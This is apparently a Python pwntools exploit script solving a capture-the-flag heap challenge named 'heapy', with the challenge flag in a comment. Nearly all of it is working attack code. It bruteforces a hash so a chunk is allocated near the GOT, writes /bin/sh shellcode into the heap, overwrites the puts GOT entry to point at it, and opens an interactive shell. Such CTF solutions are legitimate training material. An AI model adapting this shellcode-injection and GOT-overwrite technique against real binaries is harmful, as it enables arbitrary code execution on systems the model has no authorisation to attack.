from pwn import *
import ctypes

LOCAL_BINARY = './heapy'

context.binary = LOCAL_BINARY

# KAIZEN{was_1t_4_he4p_bug}

SC_SPEC_SIZE = 1000

proc = None
def connect():
    global proc
    if args['REMOTE']:
        proc = remote('challenges.kaizen-ctf.com', 10055)
    else:
        proc = process(LOCAL_BINARY)

def hash(n):
    return ctypes.c_uint32(0x9E3779B1 * n).value, ctypes.c_uint32(n).value

if __name__ == '__main__':

    """
    # bruteforce hash to find an address near the GOT
    for i in xrange(-(2**31), 2**31):
        addr, size = hash(i)
        if i % 1000000 == 0:
            print(size)
        if 0x8049000 <= addr <= 0x804a000:
            print("%d - 0x%08x" % (size, addr))
    # found: 2155026857 - 0x08049ed9
    """
    
    connect()

    sc = '\x90'*4 + asm(shellcraft.sh()) + '\x90'*4

    addr_sc, size_sc = hash(SC_SPEC_SIZE)
    if len(sc) > size_sc: log.error("sc too large")
    log.info("addr_sc: 0x%x", addr_sc)

    # create legit chunk at addr_sc and write shellcode
    proc.sendlineafter('Exit', '1')
    proc.sendlineafter('big is', str(size_sc))
    proc.sendlineafter('Exit', '2')
    proc.sendlineafter('paste would', '0')
    proc.sendlineafter('your input', sc)

    # create chunk in front of GOT (0x08049ed9 - 3 bytes read, 4 bytes printf, 4 bytes puts)
    proc.sendlineafter('Exit', '1')
    proc.sendlineafter('big is', '2155026857')
    # overwrite puts with addr of sc
    proc.sendlineafter('Exit', '2')
    proc.sendlineafter('paste would', '1')
    proc.sendlineafter('your input', '\x00'*7 + p32(addr_sc))

    proc.interactive()
